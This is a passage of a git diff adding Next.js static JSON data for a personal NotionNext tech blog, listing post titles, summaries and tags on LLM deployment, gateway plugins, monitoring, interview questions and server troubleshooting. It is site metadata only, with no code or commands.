Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""},{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"2024-3-19","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"推荐","page":"1"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\216\250\350\215\220/page/2.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\216\250\350\215\220/page/2.json" new file mode 100644 index 000000000..1dbebc5dd --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\216\250\350\215\220/page/2.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":15,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on 